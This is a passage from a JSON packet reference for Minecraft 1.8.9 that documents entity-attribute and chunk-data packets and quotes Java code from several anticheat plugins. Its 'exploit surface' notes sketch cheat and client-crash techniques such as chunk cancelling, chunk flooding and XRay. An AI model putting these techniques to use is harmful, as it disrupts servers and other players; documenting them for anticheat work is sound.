playerData.getEntityId()) {\n            return;\n        }\n\n        int effectId = removeEntityEffect.getPotionType().getId(playerData.getClientVersion());\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            removeEffect(effectId);\n        });\n    }\n\n    private void applyEffect(int effectId, int level) {\n        switch (effectId) {\n            case SPEED_EFFECT_ID:\n                speedBoost = level;\n                break;\n            case SLOWNESS_EFFECT_ID:\n                slowness = level;\n                break;\n            case JUMP_BOOST_EFFECT_ID:\n                jumpBoost = level;\n                break;\n        }\n    }\n\n    private void removeEffect(int effectId) {\n        switch (effectId) {\n            case SPEED_EFFECT_ID:\n                speedBoost = 0;\n                break;\n            case SLOWNESS_EFFECT_ID:\n                slowness = 0;\n                break;\n            case JUMP_BOOST_EFFECT_ID:\n                jumpBoost = 0;\n                break;\n        }\n    }\n\n    public double getMoveSpeed(boolean sprint) {\n        double baseSpeed = walkSpeed;\n\n        // Apply sprint modifier\n        if (sprint) {\n            baseSpeed *= (1.0 + SPRINT_MODIFIER);\n        }\n\n        // Apply potion effects\n        if (speedBoost > 0) {\n            baseSpeed *= (1.0 + (speedBoost * SPEED_EFFECT_MODIFIER));\n        }\n\n        if (slowness > 0) {\n            baseSpeed *= (1.0 + (slowness * SLOWNESS_EFFECT_MODIFIER));\n        }\n\n        return baseSpeed;\n    }\n\n    public double getJumpVelocityModifier() {\n        return jumpBoost * 0.1;\n    }\n\n\n    public void reset() {\n        walkSpeed = DEFAULT_WALK_SPEED;\n        jumpBoost = 0;\n        speedBoost = 0;\n        slowness = 0;\n        abilities = new ConfirmedAbilities();\n    }\n}\n// NOTE (AI): Hydro keys on the raw key string generic.movementSpeed, which is the 1.8-era key format the S20 packet carries.",
       "code_source": "Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/AttributeTracker.java",
       "variations": "AntiHaxerman's AttributeTracker keeps a full snapshot list of the player's attributes on connection confirm; intave's AttributeTracker stores modifier sets and derives the sprint flag from the presence of the sprinting modifier."
      },
      {
       "name": "AttributeTracker (attribute snapshot)",
       "found_in": [
        "Tecnio-AntiHaxerman"
       ],
       "purpose": "Keep the player's current attribute snapshot and potion levels, refreshed on connection confirm, so movement checks know the exact speed and effect state.",
       "how_it_works": "The tracker handles GPacketPlayServerUpdateAttributes for the player's own entity id and stores the full Snapshot list inside a connection-confirm action; entity-effect packets update the potion map the same way. getPotionLevel and hasPotion expose the effect state.",
       "detects": "Nothing directly; feeds speed, flight and velocity checks with the confirmed attribute state.",
       "detailed_code": "// ===== FILE: Tecnio-AntiHaxerman, src/main/java/me/tecnio/ahm/data/tracker/impl/AttributeTracker.java =====\npackage me.tecnio.ahm.data.tracker.impl;\n\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerEntityEffect;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerEntityEffectRemove;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerUpdateAttributes;\nimport lombok.Getter;\nimport me.tecnio.ahm.data.PlayerData;\nimport me.tecnio.ahm.data.tracker.Tracker;\nimport org.bukkit.potion.PotionEffectType;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n@Getter\npublic final class AttributeTracker extends Tracker {\n\n    private final Map<PotionEffectType, Integer> potions = new HashMap<>();\n\n    private List<GPacketPlayServerUpdateAttributes.Snapshot> attributes = new ArrayList<>();\n\n    public AttributeTracker(final PlayerData data) {\n        super(data);\n    }\n\n    @Override\n    public void handle(final GPacket packet) {\n        if (packet instanceof GPacketPlayServerEntityEffect) {\n            final GPacketPlayServerEntityEffect wrapper = ((GPacketPlayServerEntityEffect) packet);\n\n            if (wrapper.getEntityId() == data.getPlayer().getEntityId()) {\n                final PotionEffectType type = PotionEffectType.getById(wrapper.getEffectId());\n                final int amplifier = wrapper.getAmplifier();\n\n                data.getConnectionTracker().confirm(() -> this.potions.put(type, amplifier + 1));\n            }\n        } else if (packet instanceof GPacketPlayServerEntityEffectRemove) {\n            final GPacketPlayServerEntityEffectRemove wrapper = ((GPacketPlayServerEntityEffectRemove) packet);\n\n            if (wrapper.getEntityId() == data.getPlayer().getEntityId()) {\n                final PotionEffectType type = PotionEffectType.getById(wrapper.getEffectId());\n\n                data.getConnectionTracker().confirm(() -> this.potions.remove(type));\n            }\n        } else if (packet instanceof GPacketPlayServerUpdateAttributes) {\n            final GPacketPlayServerUpdateAttributes wrapper = ((GPacketPlayServerUpdateAttributes) packet);\n\n            if (wrapper.getEntityId() == data.getPlayer().getEntityId()) {\n                data.getConnectionTracker().confirm(() -> this.attributes = wrapper.getAttributes());\n            }\n        }\n    }\n\n    public int getPotionLevel(final PotionEffectType type) {\n        return this.potions.getOrDefault(type, 0);\n    }\n\n    public boolean hasPotion(final PotionEffectType type) {\n        return this.potions.containsKey(type);\n    }\n}\n// NOTE (AI): The confirm() wrapping means the snapshot applies at the player's confirmed tick, matching the tracker pattern used across the corpus.",
       "code_source": "Tecnio-AntiHaxerman, src/main/java/me/tecnio/ahm/data/tracker/impl/AttributeTracker.java",
       "variations": "Hydro keeps only the movement-speed value plus potion levels; intave additionally derives the sprint state from the modifier set."
      },
      {
       "name": "AttributeTracker (sprint speed detection)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Read the S20 attribute collection for the player, store the server's modifier set, and derive whether the player has the sprinting modifier active.",
       "how_it_works": "sentAttributes reads the attribute collection modifier of the UPDATE_ATTRIBUTES packet for the player's own entity id, converts each WrappedAttribute into intave's Attribute model, clears the stored modifiers, then stores the server's modifier set and sets movement.hasSprintSpeed when the SPRINTING_MODIFIER is present. Base values update the ability metadata.",
       "detects": "Speed-state desync where the client moves as if sprinting while the server attributes say otherwise.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/AttributeTracker.java =====\npackage de.jpx3.intave.module.tracker.player;\n\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.reflect.StructureModifier;\nimport com.comphenix.protocol.wrappers.WrappedAttribute;\nimport de.jpx3.intave.module.Module;\nimport de.jpx3.intave.module.linker.packet.ListenerPriority;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.player.attribute.Attribute;\nimport de.jpx3.intave.player.attribute.AttributeModifier;\nimport de.jpx3.intave.user.User;\nimport de.jpx3.intave.user.UserRepository;\nimport de.jpx3.intave.user.meta.AbilityMetadata;\nimport de.jpx3.intave.user.meta.MovementMetadata;\nimport org.bukkit.entity.Player;\n\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.UPDATE_ATTRIBUTES;\n\npublic final class AttributeTracker extends Module {\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsOut = {\n      UPDATE_ATTRIBUTES\n    }\n  )\n  public void sentAttributes(PacketEvent event) {\n    Player player = event.getPlayer();\n    User user = UserRepository.userOf(player);\n    PacketContainer packet = event.getPacket();\n    if (packet.getIntegers().read(0) == player.getEntityId()) {\n      StructureModifier<List<WrappedAttribute>> mod = packet.getAttributeCollectionModifier();\n      List<WrappedAttribute> attributes = mod.read(0);\n      mod.write(0, attributes);\n      user.tickFeedback(() -> {\n        attributes.forEach(attribute -> receivedAttribute(user, attribute));\n      });\n    }\n  }\n\n  private void receivedAttribute(User user, WrappedAttribute attribute) {\n    AbilityMetadata abilities = user.meta().abilities();\n    MovementMetadata movement = user.meta().movement();\n    String attributeKey = attribute.getAttributeKey();\n    if (abilities.findAttribute(attributeKey) != null) {\n      Attribute intaveAttribute = Attribute.fromProtocolLib(attribute);\n      List<AttributeModifier> intaveAttributes = abilities.modifiersOf(intaveAttribute);\n      intaveAttributes.clear();\n      Set<AttributeModifier> serverAttributes = intaveAttribute.modifiers();\n      movement.hasSprintSpeed = serverAttributes.contains(MovementMetadata.SPRINTING_MODIFIER);\n      intaveAttributes.addAll(new HashSet<>(serverAttributes));\n      abilities.modifyBaseValue(attributeKey, attribute.getBaseValue());\n    }\n  }\n}\n// NOTE (AI): The sprinting modifier has a fixed UUID in vanilla, which is how intave recognizes it in the raw modifier set.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/AttributeTracker.java",
       "variations": "Hydro and AntiHaxerman track the same attribute stream with simpler base-value snapshots; Grim goes further and recomputes the full value with range clamps."
      },
      {
       "name": "AttributeEngine (simulation attribute history)",
       "found_in": [
        "TawnyE-TruthfulAC"
       ],
       "purpose": "Record walk speed, gravity, jump strength, step height, movement efficiency and potion levels over a 1.5 second window so the simulation checks bound their physics assumptions.",
       "how_it_works": "updateStateCache in PlayerData reads the Bukkit attribute API (generic.movementSpeed, generic.gravity, generic.jumpStrength, generic.stepHeight, generic.movementEfficiency, player.sneakingSpeed) and potion levels, then calls attributeEngine.record. The engine keeps a timestamped deque, exposes max walk speed, min gravity, max jump strength and step height, and hasAttributeTransition detects attribute changes within the window. The debug tags (ATTR_LOW_GRAVITY, ATTR_SPEED, ATTR_JUMP, ATTR_STEP) label the active conditions.",
       "detects": "Physics assumptions violated by attribute changes; the recorded history lets the simulation checks tolerate legitimate speed and jump changes instead of flagging them.",
       "detailed_code": "// ===== FILE: TawnyE-TruthfulAC, src/main/java/ret/tawny/truthful/attributes/AttributeEngine.java =====\npackage ret.tawny.truthful.attributes;\n\nimport org.bukkit.potion.PotionEffectType;\nimport ret.tawny.truthful.data.PlayerData;\nimport java.util.Deque;\nimport java.util.concurrent.ConcurrentLinkedDeque;\n\npublic final class AttributeEngine {\n\n    private static final long HISTORY_DURATION_MS = 1500L;\n    private static final double EPSILON = 1.0E-4D;\n\n    private final PlayerData data;\n    private final Deque<AttributeSnapshot> history = new ConcurrentLinkedDeque<>();\n\n    private static final class AttributeSnapshot {\n        final double walkSpeed;\n        final double gravity;\n        final double jumpStrength;\n        final double stepHeight;\n        final double movementEfficiency;\n        final double waterMovementEfficiency;\n        final double sneakingSpeed;\n        final int speedLevel;\n        final int slownessLevel;\n        final int jumpBoostLevel;\n        final long timestamp;\n\n        AttributeSnapshot(double walkSpeed, int speedLevel, int slownessLevel, int jumpBoostLevel) {\n            this(walkSpeed, 0.08D, 0.42D, 0.6D, 0.0D, 0.0D, 0.3D,\n                    speedLevel, slownessLevel, jumpBoostLevel);\n        }\n\n        AttributeSnapshot(double walkSpeed, double gravity, double jumpStrength, double stepHeight,\n                          double movementEfficiency, double waterMovementEfficiency, double sneakingSpeed,\n                          int speedLevel, int slownessLevel, int jumpBoostLevel) {\n            this.walkSpeed = walkSpeed;\n            this.gravity = gravity;\n            this.jumpStrength = jumpStrength;\n            this.stepHeight = stepHeight;\n            this.movementEfficiency = movementEfficiency;\n            this.waterMovementEfficiency = waterMovementEfficiency;\n            this.sneakingSpeed = sneakingSpeed;\n            this.speedLevel = speedLevel;\n            this.slownessLevel = slownessLevel;\n            this.jumpBoostLevel = jumpBoostLevel;\n            this.timestamp = System.currentTimeMillis();\n        }\n    }\n\n    public AttributeEngine(final PlayerData data) {\n        this.data = data;\n    }\n\n    /**\n     * Records a new snapshot of the player's current attributes and speed-affecting potions.\n     */\n    public void record(final double walkSpeed, final int speedLevel, final int slownessLevel, final int jumpBoostLevel) {\n        history.addLast(new AttributeSnapshot(walkSpeed, speedLevel, slownessLevel, jumpBoostLevel));\n        cleanUp();\n    }\n\n    public void record(final double walkSpeed, final double gravity, final double jumpStrength,\n                       final double stepHeight, final double movementEfficiency,\n                       final double waterMovementEfficiency, final double sneakingSpeed,\n                       final int speedLevel, final int slownessLevel, final int jumpBoostLevel) {\n        history.addLast(new AttributeSnapshot(walkSpeed, gravity, jumpStrength, stepHeight,\n                movementEfficiency, waterMovementEfficiency, sneakingSpeed,\n                speedLevel, slownessLevel, jumpBoostLevel));\n        cleanUp();\n    }\n\n    /**\n     * Cleans up snapshots older than the configured duration window.\n     */\n    private void cleanUp() {\n        final long now = System.currentTimeMillis();\n        while (!history.isEmpty()) {\n            final AttributeSnapshot snap = history.peekFirst();\n            if (snap == null || now - snap.timestamp <= HISTORY_DURATION_MS) {\n                break;\n            }\n            history.pollFirst();\n        }\n    }\n\n    /**\n     * Gets the maximum walk speed attribute recorded in the history window.\n     */\n    public double getMaxWalkSpeed() {\n        cleanUp();\n        double maxSpeed = 0.1D;\n        boolean hasElements = false;\n        for (final AttributeSnapshot snap : history) {\n            hasElements = true;\n            if (snap.walkSpeed > maxSpeed) {\n                maxSpeed = snap.walkSpeed;\n            }\n        }\n        // Fall back to current cached value if no snapshots exist yet\n        return hasElements ? maxSpeed : data.getWalkSpeedCacheRaw();\n    }\n\n    public double getMinGravity() {\n        cleanUp();\n        if (history.isEmpty()) return 0.08D;\n        double min = Double.MAX_VALUE;\n        for (final AttributeSnapshot snap : history) {\n            min = Math.min(min, snap.gravity);\n        }\n        return min == Double.MAX_VALUE ? 0.08D : min;\n    }\n\n    public double getMaxJumpStrength() {\n        cleanUp();\n        double max = 0.42D;\n        for (final AttributeSnapshot snap : history) {\n            max = Math.max(max, snap.jumpStrength);\n        }\n        return max;\n    }\n\n    public double getMaxStepHeight() {\n        cleanUp();\n        double max = 0.6D;\n        for (final AttributeSnapshot snap : history) {\n            max = Math.max(max, snap.stepHeight);\n        }\n        return max;\n    }\n\n    public double getMaxMovementEfficiency() {\n        cleanUp();\n        double max = 0.0D;\n        for (final AttributeSnapshot snap : history) {\n            max = Math.max(max, snap.movementEfficiency);\n        }\n        return max;\n    }\n\n    public double getMaxWaterMovementEfficiency() {\n        cleanUp();\n        double max = 0.0D;\n        for (final AttributeSnapshot snap : history) {\n            max = Math.max(max, snap.waterMovementEfficiency);\n        }\n        return max;\n    }\n\n    public double getMaxSneakingSpeed() {\n        cleanUp();\n        double max = 0.3D;\n        for (final AttributeSnapshot snap : history) {\n            max = Math.max(max, snap.sneakingSpeed);\n        }\n        return max;\n    }\n\n    /**\n     * Gets the maximum speed potion level recorded in the history window.\n     */\n    public int getMaxSpeedLevel() {\n        cleanUp();\n        int maxLevel = 0;\n        for (final AttributeSnapshot snap : history) {\n            if (snap.speedLevel > maxLevel) {\n                maxLevel = snap.speedLevel;\n            }\n        }\n        return maxLevel;\n    }\n\n    /**\n     * Gets the minimum slowness level recorded in the history window.\n     * Prevents false positives during transition where slowness is applied.\n     */\n    public int getMinSlownessLevel() {\n        cleanUp();\n        if (history.isEmpty()) return 0;\n        int minLevel = Integer.MAX_VALUE;\n        for (final AttributeSnapshot snap : history) {\n            if (snap.slownessLevel < minLevel) {\n                minLevel = snap.slownessLevel;\n            }\n        }\n        return minLevel == Integer.MAX_VALUE ? 0 : minLevel;\n    }\n\n    /**\n     * Gets the maximum jump boost level recorded in the history window.\n     */\n    public int getMaxJumpBoostLevel() {\n        cleanUp();\n        int maxLevel = 0;\n        for (final AttributeSnapshot snap : history) {\n            if (snap.jumpBoostLevel > maxLevel) {\n                maxLevel = snap.jumpBoostLevel;\n            }\n        }\n        return maxLevel;\n    }\n\n    public boolean hasAttributeTransition() {\n        cleanUp();\n        if (history.size() < 2) return false;\n\n        double minWalk = Double.MAX_VALUE, maxWalk = 0.0D;\n        double minGravity = Double.MAX_VALUE, maxGravity = 0.0D;\n        double minJump = Double.MAX_VALUE, maxJump = 0.0D;\n        int minSpeed = Integer.MAX_VALUE, maxSpeed = 0;\n        int minSlow = Integer.MAX_VALUE, maxSlow = 0;\n        int minJumpBoost = Integer.MAX_VALUE, maxJumpBoost = 0;\n\n        for (final AttributeSnapshot snap : history) {\n            minWalk = Math.min(minWalk, snap.walkSpeed);\n            maxWalk = Math.max(maxWalk, snap.walkSpeed);\n            minGravity = Math.min(minGravity, snap.gravity);\n            maxGravity = Math.max(maxGravity, snap.gravity);\n            minJump = Math.min(minJump, snap.jumpStrength);\n            maxJump = Math.max(maxJump, snap.jumpStrength);\n            minSpeed = Math.min(minSpeed, snap.speedLevel);\n            maxSpeed = Math.max(maxSpeed, snap.speedLevel);\n            minSlow = Math.min(minSlow, snap.slownessLevel);\n            maxSlow = Math.max(maxSlow, snap.slownessLevel);\n            minJumpBoost = Math.min(minJumpBoost, snap.jumpBoostLevel);\n            maxJumpBoost = Math.max(maxJumpBoost, snap.jumpBoostLevel);\n        }\n\n        return maxWalk - minWalk > 0.005D\n                || maxGravity - minGravity > 0.002D\n                || maxJump - minJump > 0.01D\n                || maxSpeed != minSpeed\n                || maxSlow != minSlow\n                || maxJumpBoost != minJumpBoost;\n    }\n\n    public String getDebugTags() {\n        cleanUp();\n        if (history.isEmpty()) return \"ATTR_DEFAULT\";\n        StringBuilder builder = new StringBuilder();\n        if (hasAttributeTransition()) append(builder, \"ATTR_TRANSITION\");\n        if (getMaxWalkSpeed() > 0.100D + EPSILON) append(builder, \"ATTR_SPEED\");\n        if (getMinGravity() < 0.080D - EPSILON) append(builder, \"ATTR_LOW_GRAVITY\");\n        if (getMaxJumpStrength() > 0.420D + EPSILON) append(builder, \"ATTR_JUMP\");\n        if (getMaxStepHeight() > 0.600D + EPSILON) append(builder, \"ATTR_STEP\");\n        if (getMaxMovementEfficiency() > EPSILON) append(builder, \"ATTR_TERRAIN\");\n        if (getMaxWaterMovementEfficiency() > EPSILON) append(builder, \"ATTR_WATER\");\n        if (getMaxSneakingSpeed() > 0.300D + EPSILON) append(builder, \"ATTR_SNEAK\");\n        return builder.length() == 0 ? \"ATTR_VANILLA\" : builder.toString();\n    }\n\n    private void append(StringBuilder builder, String value) {\n        if (builder.length() > 0) builder.append(',');\n        builder.append(value);\n    }\n}\n// NOTE (AI): This entry is included on the attribute domain: the file matches the corpus through the attribute keyword, and the engine consumes the state that S20 carries rather than the packet itself.",
       "code_source": "TawnyE-TruthfulAC, src/main/java/ret/tawny/truthful/attributes/AttributeEngine.java",
       "variations": "The engine is fed from the Bukkit API rather than parsing S20 directly, but it mirrors the same server-side attribute state the packet announces. Grim and Hydro feed their simulations from the packet stream itself."
      }
     ]
    }
   },
   "wiki_notes": [
    "Modifier operations apply in a fixed order: all addition modifiers first, then multiply-base percentage modifiers, then multiply-total modifiers.",
    "MCP 1.8.9 S20PacketEntityProperties implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleEntityProperties; wire serde is readPacketData/writePacketData via readByte, readDouble, readInt, readStringFromBuffer, readUuid, readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.sendMetadataToAllAssociatedPlayers sends new S20PacketEntityProperties (line 324): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S20PacketEntityProperties/",
   "mcp_path": "net/minecraft/network/play/server/S20PacketEntityProperties.java",
   "group": "play-client",
   "logic_classes": [
    "EntityTrackerEntry"
   ]
  },
  {
   "id": "S21PacketChunkData",
   "hex": "0x21",
   "dec": 33,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Chunk Data",
   "desc": "Sends a chunk section (16x16x16 blocks) with compressed block data, light values, and biome info.",
   "tags": [
    "world",
    "chunk",
    "block"
   ],
   "fields": [
    {
     "name": "chunkX",
     "type": "int",
     "desc": "Chunk X coordinate"
    },
    {
     "name": "chunkZ",
     "type": "int",
     "desc": "Chunk Z coordinate"
    },
    {
     "name": "groundUpContinuous",
     "type": "boolean",
     "desc": "True if this is a fresh chunk (sends biome + skylight)"
    },
    {
     "name": "bitmask",
     "type": "unsigned short",
     "desc": "Which 16-block sections are present (bit 0 = bottom section)"
    },
    {
     "name": "dataLength",
     "type": "VarInt",
     "desc": "Size of compressed data"
    },
    {
     "name": "data",
     "type": "byte[]",
     "desc": "Zlib-compressed chunk data (block IDs + block light + sky light + biomes)"
    }
   ],
   "encoding": [
    [
     "Chunk X",
     "int",
     ""
    ],
    [
     "Chunk Z",
     "int",
     ""
    ],
    [
     "Ground-Up",
     "bool",
     "Full chunk vs partial update"
    ],
    [
     "Primary Bitmask",
     "unsigned short",
     "Which sections are included"
    ],
    [
     "Data Size",
     "VarInt",
     "Compressed data length"
    ],
    [
     "Data",
     "byte[]",
     "Compressed NBT-like block data"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleChunkData()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Each section in the bitmask contains: 4096 block IDs (2 bytes each), 2048 block light (4 bits per block), 2048 sky light (4 bits per block). For groundUp=true: 256 biome bytes at end. Data is zlib-compressed. XRay modules intercept this to replace block IDs or prevent chunk updates.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S21PacketChunkData carries one chunk's block, light and biome data. Server send sites: PlayerManager sends a ground-up chunk on initial load (line 365 in the corpus) and section updates with a bitmask on the chunk update tick (line 447), EntityPlayerMP sends the player's spawn chunk with bitmask 65535, and S26PacketMapChunkBulk is the multi-chunk variant. Wire layout: chunkX int, chunkZ int, groundUpContinuous bool, bitmask unsigned short, dataLength VarInt, then zlib-compressed bytes holding per-section block IDs, block light, sky light and 256 biome bytes for ground-up chunks."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleChunkData first handles unloads: a ground-up packet with bitmask 0 calls doPreChunk(false). Otherwise it invalidates the block receive region, fetches the chunk (loading it if missing), applies the extracted sections through chunk.func_177439_a, marks the range for render update, and resets relight checks for non-surface dimensions. This is the heaviest decompression and block-write path in the play state, and it runs on the client thread."
     },
     {
      "h": "Why clients touch it",
      "p": "None of the 8 reference clients hook S21 in a module. The only non-vanilla corpus hit is Rise 6.1.30/6.2.4 NetworkAPI, which registers the class (clientbound index 76) so scripts can synthesize chunk packets. The XRay/Search/ChestESP entries from older docs reference Sigma 3.9, which is not in the reference set. Modules that want block data read the loaded Chunk object after vanilla applies it; rewriting chunk content would force them to decompress and re-encode the packed sections, which none of these clients does."
     },
     {
      "h": "Exploit surface",
      "p": "Cancelling S21 empties the client's view of the world while the player stays in the server world, the core of chunk-void behavior; the server never notices because there is no acknowledgement. The heavier abuse is bandwidth: PlayerManager caps per-tick chunk traffic server-side, but a plugin that floods S21 can stall a client's single-threaded handler. On the client side, Rise 6.x scripts can call receivePacket with a fabricated S21 to draw fake terrain locally, which is render-only and has no server effect."
     }
    ],
    "overview": "Chunk payload delivery with zero module usage in the 8 reference clients: block-aware features read the loaded world instead of hooking the packet, and the only non-vanilla reference is the Rise 6.x script registry entry.",
    "server_handling": "PlayerManager sends ground-up S21 (bitmask 0, line 365) when a player enters a chunk's watch range, and section updates (groundUp=false, line 447) on the per-chunk update tick, batching changed sections into the bitmask. EntityPlayerMP sends the spawn chunk with all 16 sections (65535). Chunk data is extracted and zlib-compressed at send time; there is no inbound handler because the packet is clientbound.",
    "protocol_notes": "Each section in the bitmask contributes 4096 block IDs at 2 bytes each plus 2048 block-light and 2048 sky-light nibbles; ground-up chunks append 256 biome bytes. The data field is zlib-compressed as a whole, so the client must inflate it before touching any block. A ground-up packet with bitmask 0 means chunk unload, not empty data. S26PacketMapChunkBulk reuses S21PacketChunkData.Extracted for the bulk variant.",
    "anticheat_landscape": "Anti-cheats never measure S21; the server cannot tell what the client rendered. Chunk-based cheats (XRay, cave finder) are undetectable server-side in principle, which is why they are banned by staff rather than flagged. The client-side risk is stability: malformed or flooded chunk data crashes the vanilla handler, the basis of chunk-ban exploits that server plugins mitigate by validating senders.",
    "modules": [],
    "general_hooks": "No module in the 8 clients registers a receive handler for S21. Rise 6.x exposes the class to scripts via NetworkAPI; all other references are vanilla net/minecraft files.",
    "client_variations": "All 8 clients ship the vanilla handleChunkData. Rise 6.1.30/6.2.4 additionally list the class in NetworkAPI; Memeware, Nekoware, Sigma, Spicy and Tenacity differ only in the bundled vanilla source revision.",
    "related": [
     "S26PacketMapChunkBulk",
     "S23PacketBlockChange",
     "S22PacketMultiBlockChange"
    ],
    "anticheat": {
     "overview": "S21 delivers a full chunk column to the client, and it is the transport that makes xray and world-downloader cheating possible. Server-side anticheats approach it from two directions: xray checks score ore-breaking behavior (BAC XRayCheck, AntiCheatPlus XRayListener, Negativity XRayProtocol), sentinel modules neutralize world downloaders at the plugin-message level (Photon WorldDownloaderSentinel), and simulation anticheats parse the chunk bytes into a compensated world so their movement and phase checks see the same blocks the client sees (Grim PacketWorldReaderEight, Hydro WorldTracker, Truthful CompensatedWorld, Kauri Chunk and World, Intave block caches). The corpus for S21 is dominated by the replication side, because every block-based check depends on it.",
     "checks": [
      {
       "name": "XRayCheck (BasicAntiCheat)",
       "found_in": [
        "MC-Jinky-BasicAntiCheat"
       ],
       "purpose": "Ghost-block xray heuristic: spawn fake ore blocks in front of the player and flag anyone who breaks them.",
       "how_it_works": "On BlockBreakEvent, when the player breaks an ore, the check walks up to 9 blocks in the player's facing direction and replaces a buried stone block with the same ore type, recording it as a ghost block with a proximity counter. On PlayerMoveEvent, ghost blocks that the player approaches too often and then breaks (5 or more close encounters) fail the check; sneaking while standing over a block also registers it. The check is marked as heavy beta in the config.",
       "detects": "Xray users who path straight to ores through solid rock and break ghost blocks that were never visible.",
       "detailed_code": "// ===== FILE: MC-Jinky-BasicAntiCheat, src/me/jinky/checks/world/XRayCheck.java =====\npackage me.jinky.checks.world;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.bukkit.Material;\nimport org.bukkit.block.Block;\nimport org.bukkit.block.BlockFace;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.Event;\nimport org.bukkit.event.block.BlockBreakEvent;\nimport org.bukkit.event.player.PlayerMoveEvent;\n\nimport me.jinky.checks.Check;\nimport me.jinky.checks.CheckResult;\nimport me.jinky.logger.User;\nimport me.jinky.util.UtilBlock;\n\npublic class XRayCheck extends Check {\n\n\tpublic static Map<Player, HashMap<Block, Long>> ghostblocks = new HashMap<Player, HashMap<Block, Long>>();\n\tpublic static Map<Player, HashMap<Block, Integer>> ghostblocks_closecount = new HashMap<Player, HashMap<Block, Integer>>();\n\tpublic static Map<Player, Long> lastcheck = new HashMap<Player, Long>();\n\tpublic static Map<Player, HashMap<Block, Double>> ghostblocks_lastcheckloc = new HashMap<Player, HashMap<Block, Double>>();\n\n\t@Override\n\tpublic String getName() {\n\t\treturn \"XRay\";\n\t}\n\n\t@Override\n\tpublic String getEventCall() {\n\t\treturn \"PlayerMoveEvent\";\n\t}\n\n\t@Override\n\tpublic String getSecondaryEventCall() {\n\t\treturn \"BlockBreakEvent\";\n\t}\n\n\t@Override\n\tpublic CheckResult performCheck(User u, Event ev) {\n\t\tPlayer p = u.getPlayer();\n\t\tif (ev.getEventName().equalsIgnoreCase(\"PlayerMoveEvent\")) {\n\t\t\tif (!lastcheck.containsKey(p)) {\n\t\t\t\tlastcheck.put(p, 1L);\n\t\t\t}\n\t\t\tPlayerMoveEvent e = (PlayerMoveEvent) ev;\n\t\t\tLong math = System.currentTimeMillis() - lastcheck.get(p);\n\t\t\tif (e.getTo().getWorld() != e.getFrom().getWorld()) {\n\t\t\t\tif (ghostblocks.containsKey(p)) {\n\t\t\t\t\tfor (Block b : ghostblocks.get(p).keySet()) {\n\t\t\t\t\t\tb.setType(Material.STONE);\n\t\t\t\t\t}\n\t\t\t\t\tghostblocks.remove(p);\n\t\t\t\t}\n\t\t\t\tif (ghostblocks_closecount.containsKey(p))\n\t\t\t\t\tghostblocks_closecount.remove(p);\n\t\t\t\tif (ghostblocks_lastcheckloc.containsKey(p))\n\t\t\t\t\tghostblocks_lastcheckloc.remove(p);\n\t\t\t\tlastcheck.put(p, System.currentTimeMillis());\n\t\t\t\treturn new CheckResult(\"XRay\", true, \"WorldChange\");\n\t\t\t}\n\t\t\tif (math > 1750 && ghostblocks_closecount.containsKey(p) && e.getFrom().distance(e.getTo()) > 0.1) {\n\t\t\t\tIterator<Block> i = ghostblocks_closecount.get(p).keySet().iterator();\n\t\t\t\tList<Block> remove = new ArrayList<Block>();\n\t\t\t\twhile (i.hasNext()) {\n\t\t\t\t\tBlock b = i.next();\n\t\t\t\t\tif (b != null && b.getType() != null && !b.getType().toString().contains(\"ORE\")) {\n\t\t\t\t\t\tremove.add(b);\n\t\t\t\t\t\treturn new CheckResult(\"XRay\", true, \"pass\");\n\t\t\t\t\t}\n\t\t\t\t\tInteger count = ghostblocks_closecount.get(p).get(b);\n\n\t\t\t\t\tif (b.getLocation().getWorld() != e.getTo().getWorld()) {\n\t\t\t\t\t\treturn new CheckResult(\"XRay\", true, \"WorldChange\");\n\t\t\t\t\t}\n\t\t\t\t\tif (e.getTo().distance(b.getLocation()) < ghostblocks_lastcheckloc.get(p).get(b)) {\n\t\t\t\t\t\tcount++;\n\t\t\t\t\t\tghostblocks_closecount.get(p).put(b, count);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tcount--;\n\t\t\t\t\t\tif (count < 0) {\n\t\t\t\t\t\t\tremove.add(b);\n\t\t\t\t\t\t\tb.setType(Material.STONE);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tghostblocks_closecount.get(p).put(b, count);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (remove.size() > 0) {\n\t\t\t\t\tfor (Block b : remove) {\n\t\t\t\t\t\tghostblocks_closecount.get(p).remove(b);\n\t\t\t\t\t\tghostblocks.get(p).remove(b);\n\t\t\t\t\t\tghostblocks_lastcheckloc.get(p).remove(b);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tlastcheck.put(p, System.currentTimeMillis());\n\t\t\t}\n\n\t\t} else {\n\t\t\tif (!ghostblocks.containsKey(p)) {\n\t\t\t\tghostblocks.put(p, new 